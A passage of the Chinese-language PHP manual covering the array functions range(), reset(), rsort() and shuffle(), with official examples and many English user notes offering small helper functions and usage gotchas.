    // O número 5 dividido pelo '...

    // **************************** //
    //
    // * Remember that the function is recursive, that is: a range of 5000 takes more than 1 minute on a processor Intel® Core™ i5-8250U (3.40 GHz).
    //
    // **************************** //
?>
luca.favorido ATgmailDOT com 28-Jun-2016 07:58
The function "range" is very useful to get an array of characters as range('C','R') does.

At work, I had to extend the function range($a,$b) to work in this special case: with two uppercase strings $a and $b, it should return all the possible strings between $a and $b.
This could be used for example to get the excel column indexes.
e.g. <?php range('A','AD') ==> array('A','B','C',...,'Z','AA','AB','AC','AD') ?>

So I wrote the function getrange($min,$max) that exactly does this.

<?php

function getcolumnrange($min,$max){
      $pointer=strtoupper($min);
      $output=array();
      while(positionalcomparison($pointer,strtoupper($max))<=0){
         array_push($output,$pointer);
         $pointer++;
      }
      return $output;
}

function positionalcomparison($a,$b){
   $a1=stringtointvalue($a); $b1=stringtointvalue($b);
   if($a1>$b1)return 1;
   else if($a1<$b1)return -1;
   else return 0;
}

/*
* e.g. A=1 - B=2 - Z=26 - AA=27 - CZ=104 - DA=105 - ZZ=702 - AAA=703
*/
function stringtointvalue($str){
   $amount=0;
   $strarra=array_reverse(str_split($str));

   for($i=0;$i<strlen($str);$i++){
      $amount+=(ord($strarra[$i])-64)*pow(26,$i);
   }
   return $amount;
}
?>
qz 19-Jan-2016 11:58
If you're looking to fill an array to get a hash with 0-9 numerical values, using
range(0,9);
is a faster solution compared to
array_fill(0, 10, '');
moficer at host dot sk 15-Jan-2016 03:17
php 5.6.16

<?php
var_export(range('Z', 'a'));

/*
array (
  0 => 'Z',
  1 => '[',
  2 => '\\',
  3 => ']',
  4 => '^',
  5 => '_',
  6 => '`',
  7 => 'a',
)
 */
Alien426 29-Oct-2015 02:09
The function will generate an array of integers even if your numerical parameters are enclosed in quotes.
<?php
var_dump( range('1', '2') ); // outputs  array(2) { [0]=> int(1) [1]=> int(2) }
?>

An easy way to get an array of strings is to map strval() to the range:
<?php
var_dump( array_map('strval', range('1', '2')) ); // outputs  array(2) { [0]=> string(1) "1" [1]=> string(1) "2" }
?>
unicod3 at hotmail dot com 15-Oct-2014 05:43
a function to get column index by letter

function getColumnNumber($char){
    $alphabet = range('a','z');
    $alphabet2 = range('a','z');
    $newAlphabet = $alphabet;
    foreach($alphabet as $k => $r)
    {
        foreach($alphabet2 as $row){
            $newAlphabet[] = $r.$row;
        }
    }
    $key = array_search($char, $newAlphabet);
    return ($key !== false) ? $key : null;
}
lsblsb at gmx dot de 30-Apr-2014 03:09
I needed a function, that creates a letter range with arbitrary length.
You specify via the $length parameter, how many entries you need.
Logic is analog to the logic of the column-titles in a calc-sheet.

<?php

/**
  * create a letter range with arbitrary length
  * @param int $length
  * @return array
  */
function createLetterRange($length)
{
    $range = array();
    $letters = range('A', 'Z');
    for($i=0; $i<$length; $i++)
    {
        $position = $i*26;
        foreach($letters as $ii => $letter)
        {
            $position++;
            if($position <= $length)
                $range[] = ($position > 26 ? $range[$i-1] : '').$letter;
        }
    }
    return $range;
}
?>
php at keith tyler dot com 26-Feb-2014 10:22
So with the introduction of single-character ranges to the range() function, the internal function tries to be "smart", and (I am inferring from behavior here) apparently checks the type of the incoming values. If one is numeric, including numeric string, then the other is treated as numeric; if it is a non-numeric string, it is treated as zero.

But.

If you pass in a numeric string in such a way that is is forced to be recognized as type string and not type numeric, range() will function quite differently.

Compare:

<?php
echo implode("",range(9,"Q"));
// prints 9876543210

echo implode("",range("9 ","Q"));  //space after the 9
// prints 9:;<=>?@ABCDEFGHIJKLMNOPQ

echo implode("",range("q","9 "));
// prints qponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654
?>

I wouldn't call this a bug, because IMO it is even more useful than the stock usage of the function.
jazzduck AT gmail DOT com 21-Jan-2014 08:32
Despite the line above that says that the $step value should be "given as a positive number," the range() function will in fact correctly handle reversed (decrementing) ranges. For example:

<?php print_r( range( 24, 20 ) ); ?>
Array
(
    [0] => 24
    [1] => 23
    [2] => 22
    [3] => 21
    [4] => 20
)

<?php print_r( range( 20, 11, -3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

It will actually ignore the sign of the $step argument, and determine whether to increment or decrement based purely on whether $start > $end or $end > $start. For example:

<?php print_r( range( 20, 11, 3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

<?php print_r( range( 11, 20, -3 ) ); ?>
Array
(
    [0] => 11
    [1] => 14
    [2] => 17
    [3] => 20
)
pyetrosafe at gmail dot com 27-Sep-2013 01:36
To create a simple array or a multidimensional array with defined size and null values??, use this expression:

<?php

$SimpleArray = array_map(function($n) { return null; }, range(1, 3) );
$MultiArray = array_map(function($n) { return array_map(function($n) { return null; }, range(1, 2) ); }, range(1, 3) );

var_dump($SimpleArray);
var_dump($MultiArray);

// And will print:
?>
>>$SimpleArray
array(3) {
  [0]=>  NULL
  [1]=>  NULL
  [2]=>  NULL
}

>>$MultiArray
array(3) {
  [0]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [1]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [2]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
}

?>
krdr dot mft at gmail dot com 19-Aug-2013 09:48
I've been introduced with range() function not so long ago, and I found that examples about it is somewhat wrong, even inefficient:

<?php
$o = "";
$time_start = microtime(true);
foreach(range(1, 10000) as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangein: '.$time.'<br />';

$o = "";
$time_start = microtime(true);
$a = range(1, 10000);
foreach($a as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangeout: '.$time.'<br />';

?>

Which gives results:

rangein: 0.0025348663330078
rangeout: 0.0019199848175049

In some cases difference is even bigger and proportional to the range generated. I suppose that results of range() are cached/hashed.

Note: execution order does affects execution times, but difference still exists
Ray.Paseur often uses Gmail 06-Jun-2013 03:16
Interestingly, these two statements produce identical 26-character alphabet arrays.

<?php
$arr = range('A',  'Z');
$arr = range('AA', 'ZZ');
gtisza at gmail dot com 25-Apr-2013 10:27
You might expect range($n, $n-1) to be an empty array (as in e.g. Python) but actually PHP will assume a step of -1 if start is larger than end.
Palz 29-Oct-2012 10:59
To create a range array like

Array
(
    [11] => 1
    [12] => 2
    [13] => 3
    [14] => 4
)

combine two range arrays using array_combine:

array_combine(range(11,14),range(1,4))
ktamas77 at gmail dot com 03-Aug-2012 10:59
if you need zero padding, string prefixes or any other masks, then a simple combination of array_map, inline functions and sprintf is your friend.

<?php

$a = array_map(function($n) { return sprintf('sample_%03d', $n); }, range(50, 59) );

print_r($a);

?>

Will result:

Array
(
    [0] => sample_050
    [1] => sample_051
    [2] => sample_052
    [3] => sample_053
    [4] => sample_054
    [5] => sample_055
    [6] => sample_056
    [7] => sample_057
    [8] => sample_058
    [9] => sample_059
)
me at phpscott dot com 23-May-2012 05:37
So, I needed a quick and dirty way to create a dropdown select for hours, minutes and seconds using 2 digit formatting, and to create those arrays of data, I combined range with array merge..

<?php
$prepend = array('00','01','02','03','04','05','06','07','08','09');
$hours     = array_merge($prepend,range(10, 23));
$minutes     = array_merge($prepend,range(10, 59));
$seconds     = $minutes;
?>

Super simple.
dries at volta dot be 09-Feb-2012 11:30
Ever wanted to generate an array with a range of column names for use in Excel file related parsing?
I've wrote a function that starts at the A column and adds column names up until the column you specified.

<?php

/**
 * This function creates an array with column names up until the column
 * you specified.
*/
function createColumnsArray($end_column, $first_letters = '')
{
  $columns = array();
  $length = strlen($end_column);
  $letters = range('A', 'Z');

  // Iterate over 26 letters.
  foreach ($letters as $letter) {
      // Paste the $first_letters before the next.
      $column = $first_letters . $letter;

      // Add the column to the final array.
      $columns[] = $column;

      // If it was the end column that was added, return the columns.
      if ($column == $end_column)
          return $columns;
  }

  // Add the column children.
  foreach ($columns as $column) {
      // Don't itterate if the $end_column was already set in a previous itteration.
      // Stop iterating if you've reached the maximum character length.
      if (!in_array($end_column, $columns) && strlen($column) < $length) {
          $new_columns = createColumnsArray($end_column, $column);
          // Merge the new columns which were created with the final columns array.
          $columns = array_merge($columns, $new_columns);
      }
  }

  return $columns;
}

?>

Usage:

<?php

// Return an array with all column names from A until and with BI.
createColumnsArray('BI');

?>
Aram Kocharyan 27-Feb-2011 07:58
Here's a function to generate ranges from strings:

<?php

/*  Creates an array of integers based on a given range string of format "int - int"
    Eg. range_str('2 - 5'); */
function range_str($str) {
    preg_match('#(\\d+)\\s*-\\s*(\\d+)#', $str, $matches);
    if ( count($matches) == 3 ) {
        return range($matches[1], $matches[2]);
    }
    return FALSE;
}

// Test
$array = range_str(' 2 - 4 ');
print_r($array);

?>

This outputs:

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
)
jay at NOspam dot myd3 dot com 29-Apr-2009 05:54
This is a modified version of thomas' range_string() function. It's simpler, cleaner, and more robust, but it lacks the advanced features his function had, hopefully it will be of assitance to someone.

Examples:

    input: "1, 2, 3, 4, 5, 6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1 - -6" --> output: 1, 2, 3, 4, 5, 6
    input: "0 - 0" --> output: 0
    input: "1, 4-6, 2" --> output: 1, 2, 4, 5, 6
    input: "6,3-1" --> output: 1, 2, 3, 6

<?php

define('RANGE_ARRAY_SORT', 1);
define('RANGE_ARRAY', 2);
define('RANGE_STRING_SORT', 3);
define('RANGE_STRING', 4);

function range_string($range_str, $output_type = RANGE_ARRAY_SORT)
{
    // Remove spaces and nother non-essential characters
    $find[]    = "/[^\d,\-]/";
    $replace[] = "";

    // Remove duplicate hyphens
    $find[]    = "/\-+/";
    $replace[] = "-";

    // Remove duplicate commas
    $find[]    = "/\,+/";
    $replace[] = ",";

    $range_str = preg_replace($find, $replace, $range_str);

    // Remove any commas or hypens from the end of the string
    $range_str = trim($range_str,",-");

    $range_out = array();
    $ranges    = explode(",", $range_str);

    foreach($ranges as $range)
    {

        if(is_numeric($range) || strlen($range) == 1)
        {
            // Just a number; add it to the list.
            $range_out[] = (int) $range;
        }
        else if(is_string($range))
        {

            // Is probably a range of values.
           $range_exp = preg_split("/(\D)/",$range,-1,PREG_SPLIT_DELIM_CAPTURE);

            $start = $range_exp[0];
            $end   = $range_exp[2];

            if($start > $end)
            {
                for($i = $start; $i >= $end; $i -= 1)
                {
                    $range_out[] = (int) $i;
                }
            }
            else
            {
                for($i = $start; $i <= $end; $i += 1)
                {
                    $range_out[] = (int) $i;
                }
            }

        }
    }

    switch ($output_type) {
        case RANGE_ARRAY_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_ARRAY:
            return $range_out;
            break;

        case RANGE_STRING_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_STRING:

        default:
            return implode(", ", $range_out);
            break;
    }
}

// Sample Usage:
$range = range_string("6, 3-1");

?>
ThinkMedical at Gmail dot com 26-Aug-2008 05:11
foreach(range()) whilst efficiant in other languages, such as python, it is not (compared to a for) in php*.

php is a C-inspired language and thus for is entirely in-keeping with the lanuage aethetic to use it

<?php
//efficiant
for($i = $start; $i < $end; $i+=$step)
{
        //do something with array
}

//inefficiant
foreach(range($start, $end, $step) as $i)
{
        //do something with array
}
?>

That the officiant documentation doesnt mention the for loop is strange.

Note however, that in PHP5 foreach is faster than for when iterating without incrementing a variable.

* My tests using microtime and 100 000 iterations consistently (~10 times) show that for is 4x faster than foreach(range()).
captvanhalen at gmail dot com 27-Mar-2008 10:33
Here is a home rolled range() function that uses the step feature for those unfortunate souls who cannot use PHP5:

<?php
function my_range( $start, $end, $step = 1) {

    $range = array();

    foreach (range( $start, $end ) as $index) {

        if (! (($index - $start) % $step) ) {
            $range[] = $index;
        }
    }

    return $range;
}
?>
chris at laflash dot org 09-May-2007 04:47
Quick HTML menus with minimum and maximum sets of years:

<?php
    /*
    ** Quick HTML menus with minimum and maximum sets of years.
    ** @author Chris Charlton <chris@laflash.org>
    ** @license FREE!
    */

    // Years range setup
    $year_built_min = 1900;
    $year_built_max = date("Y");
?>
<select id="yearBuiltMin" size="1">
    <?php // Generate minimum years

        foreach (range($year_built_min, $year_built_max) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>

<select id="yearBuiltMax" size="1">
      <?php // Generate max years

        foreach (range($year_built_max, $year_built_min) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>
m0sh3 at hotmail dot com 01-Mar-2007 05:46
Here's how i use it to check if array is associative or not:

<?php

if (array_keys($arr)===range(0, sizeof($arr)-1)) {
// not associative array

} else {
// associative array

}

?>
manuel at levante dot de 07-Nov-2006 05:25
<?php
function srange ($s) {
  preg_match_all("/([0-9]{1,2})-?([0-9]{0,2}) ?,?;?/", $s, $a);
  $n = array ();
  foreach ($a[1] as $k => $v) {
    $n  = array_merge ($n, range ($v, (empty($a[2][$k])?$v:$a[2][$k])));
  }
  return ($n);
}

$s = '1-4 6-7 9-10';
print_r(srange($s));
?>

Return:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 6
    [5] => 7
    [6] => 9
    [7] => 10
)
subscription101 at hotmail dot com 08-Jan-2006 06:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

    range(2, 10, 2);

?>
emory underscore smith at hotmail 20-Aug-2005 07:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
    [0] => 500
    [1] => 510
    [2] => 520
    ...
    [109] => 1590
    [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
    [0] => 88.1
    [1] => 88.3
    [2] => 88.5
    ...
    [97] => 107.5
    [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net 08-May-2005 06:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
    $arr = array();
    $step = (abs($step)>0)?abs($step):1;
    $sign = ($low<=$high)?1:-1;
    if(is_numeric($low) && is_numeric($high)) {
        //numeric sequence
        for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
            $arr[] = $i;
    }    else    {
        //character sequence
        if (is_numeric($low))
            return $this->range($low, 0, $step);
        if (is_numeric($high))
            return $this->range(0, $high, $step);
        $low = ord($low);
        $high = ord($high);
        for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

            $arr[] = chr($i);
        }
    }
    return $arr;
}
?>
j dot gizmo at aon dot at 23-Sep-2004 04:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
    if (is_numeric($num1) && is_numeric($num2))
    {
        //we have a numeric range
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get the direction
        for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = $i;
        }
    }
    else
    {
        //we have a character range
        $num1=ord((string)$num1); //convert to ascii value
        $num2=ord((string)$num2);
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get direction
        for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = chr($i);
        }
    }
    return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>


将数组的内部指针指向第一个单元

  • ? range
  • rsort ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针指向第一个单元

reset

(PHP 4, PHP 5, PHP 7, PHP 8)

reset — 将数组的内部指针指向第一个单元

说明

reset(array|object &$array): mixed

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

参数

array

输入的数组。

返回值

返回数组第一个单元的值，如果数组为空则返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 reset() 例子

<?php

$array = array('step one', 'step two', 'step three', 'step four');

// 默认情况下，指针指向第一个元素
echo current($array) . "<br />\n"; // "step one"

// 跳过两步
next($array);
next($array);
echo current($array) . "<br />\n"; // "step three"

// 重置指针，重新指向第一个元素
reset($array);
echo current($array) . "<br />\n"; // "step one"

?>

注释

Note: 返回的值无法区分是空数组，还是第一个元素是 bool false。 要正确检测数组第一个元素包含 false 的情况，首先要检测数组 count()， 或在调用 reset() 后检测 key() 不为 null。

参见

  • current() - 返回数组中的当前值
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • end() - 将数组的内部指针指向最后一个单元
  • next() - 将数组中的内部指针向前移动一位
  • prev() - 将数组的内部指针倒回一位
  • array_key_first() - 获取指定数组的第一个键

User Contributed Notes

turabgarip at gmail dot com 09-Jun-2021 02:32
Since reset() returns the first "value" of the array beside resetting its internal pointer; it will return different results when it is combined with key() or used separately. Like;

<?php

$products = array(
    'biscuits' => array('biscuit1' => 'cobis', 'biscuit2' => 'probis'),
    'chocolates' => array('coco1' => 'cococ', 'coco2' => 'prococ'),
 );

echo key(reset($products['biscuits'])); // Fatal error

reset($products['biscuits']);
echo key($products['biscuits']); // Will print 'biscuit1'

?>

This is perfectly normal because in the first method, reset() returned the first "value" of the 'biscuits' element which is to be "cbosi". So key(string) will cause a fatal error. While in the second method you just reset the array and didn't use a returning value; instead you reset the pointer and than extracted the first key of an array.

If your array has more dimensions, it won't probably cause a fatal error but you will get different results when you combine reset() and key() or use them consecutively.
Bartek Ferek 30-Aug-2016 11:16
As for taking first key of an array, it's much more efficient to RESET and then KEY, rather then RESET result of ARRAY_KEYS (as sugested by gardnerjohng at gmail dot com).

<?php
reset($someArray);
echo key($someArray);
?>

This will give the same result but is much much faster. Larger arrays, better performance. Tested on 100-elements long array with 16 times faster results.
arne dot slabbinck at duo dot be 01-Oct-2015 03:43
Info:

Following code gives a strict warning in 5.4.45

      return reset(array_keys($result['node']));

"Strict warning: Only variables should be passed by reference"

So should be:

      $keys = array_keys($result['node']);
      return reset($keys);
arne dot ludwig at posteo dot de 18-Sep-2015 09:22
In response to gardnerjohng's note to retrieve the first _key_ of an array:

To retrieve the first _key_ of an array you can use the combination of reset() and key().

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    reset($properties);
    echo key($properties); // => 'colour'
?>

I prefer this solution as you don't have to create the keys array. This should (not measured) improve performance on large arrays.
gardnerjohng at gmail dot com 18-Sep-2014 05:54
If you need an easy way to retrieve the first *key* in an array (instead of the value), it can be done like this:

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    #    Will output "colour".
    echo reset(array_keys($properties));
?>
Potentially helpful for configuration files that define a sequence of items as an associative array.
Mladen Janjetovic 16-May-2013 10:07
Note that you can't use pointer here. It will reset the iteration counter in this case.
foreach($array as $key=>&$value) {...}

Use standard foreach instead
foreach($array as $key=>$value) {...}
milo at mdlwebsolutions dot com 03-Apr-2012 10:22
GOTCHA: If your first element is false, you don't know whether it was empty or not.

<?php

$a = array();
$b = array(false, true, true);
var_dump(reset($a) === reset($b)); //bool(true)

?>

So don't count on a false return being an empty array.
kendsnyder at gmail dot com 08-Feb-2010 08:12
Don't use `reset()` to get the first value of an associative array. It works great for true arrays but works unexpectedly on Iterator objects. http://bugs.php.net/bug.php?id=38478
m dot lebkowski+php at gmail dot com 03-Aug-2006 01:58
Colin, there`s a better (IMO) way to solve your problem.
<?
  // ...
  foreach($a as $k => &$d){}   // notice the "&"
  // ...
?>
It`s a new feature in PHP5 to use references in foreach loop. This way PHP isn`t making a copy of the array, so the internal pointer won`t be reset.
Colin 06-Jun-2006 08:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
    'a' => array(
        'A', 'B', 'C', 'D',
    ),
    'b' => array(
        'AA', 'BB', 'CC', 'DD',
    ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 01:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
    $item = current($array);
    if (!next($array)) reset($array);
    return $item;
}
?>
Alexandre Koriakine 18-Nov-2005 02:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
leaetherstrip at inbox dot NOSPAMru 17-Oct-2004 06:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
    $arr = array(
        1 => array(2,3,4,5,6),
        2 => array(6,7,8,9,10)
    );

    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }

    reset($arr);

    // Do the same again
    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]


对数组降序排序

  • ? reset
  • shuffle ?
  • PHP Manual
  • 数组 函数
  • 对数组降序排序

rsort

(PHP 4, PHP 5, PHP 7, PHP 8)

rsort — 对数组降序排序

说明

rsort(array &$array, int $flags = SORT_REGULAR): true

对 array 本身按照值（value）降序排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 rsort() 示例

<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

0 = orange
1 = lemon
2 = banana
3 = apple

fruits 被按照字母顺序逆向排序。

注释

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

参见

  • sort() - 对数组升序排序
  • arsort() - 对数组进行降向排序并保持索引关系
  • krsort() - 对数组按照键名逆向排序
  • 数组排序函数对比

User Contributed Notes

suniafkhami at gmail dot com 20-Feb-2014 02:40
If you are sorting an array from a database result set, such as MySQL for example, another approach could be to have your database sort the result set by using ORDER BY DESC, which would be the equivalent of using rsort() on the resulting array in PHP.

[Edited by moderator for clarity: googleguy at php dot net]
Alex M 27-Jun-2005 07:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
      if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);   #2-D array
   }
   closedir($dh);

   if ($files)
   {
      rsort($files); #sorts by filemtime

      #done! Show the files sorted by modification date
      foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com 14-Jan-2005 01:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

    $f = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($folder = readdir($dh)) !== false) {
                if (preg_match("/\s*$ext$/", $folder)) {
                    $fullpath = "$dir/$folder";
                    $mtime = filemtime ($fullpath);

                    $ff = array($mtime => $fullpath);
                    $f = array_merge($f, $ff);

            }
                }

            rsort($f, SORT_NUMERIC);

            while (list($key, $val) = each($f)) {
                $fcontents = file($val, "r");
                while (list($key, $val) = each($fcontents))
                    echo "$val\n";
            }

        }
    }

        closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com 02-Nov-2004 07:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net 17-Jun-2003 12:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com 12-Jun-2001 11:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.


打乱数组

  • ? rsort
  • sizeof ?
  • PHP Manual
  • 数组 函数
  • 打乱数组

shuffle

(PHP 4, PHP 5, PHP 7, PHP 8)

shuffle — 打乱数组

说明

shuffle(array &$array): true

本函数打乱（随机排列单元的顺序）一个数组。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

array

待操作的数组。

返回值

总是返回 true。

更新日志

版本 | 说明
7.1.0 | 内置的随机数产生算法从 libc rand 函数改成 » 梅森旋转伪随机数生成算法。

示例

Example #1 shuffle() 例子

<?php
$numbers = range(1, 20);
shuffle($numbers);
foreach ($numbers as $number) {
echo "$number ";
}
?>

注释

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

Note:

重置数组中的内部指针，指向第一个元素。

参见

  • Random\Randomizer::shuffleArray() - Get a permutation of an array
  • Random\Randomizer::shuffleBytes() - Get a byte-wise permutation of a string
  • Random\Randomizer::pickArrayKeys() - Select random array keys
  • 数组排序函数对比

User Contributed Notes

DiosDe 21-Jul-2021 05:03
implementation of shuffle() using random_int()

<?php

function random_int_shuffle ( array $array ): array
{
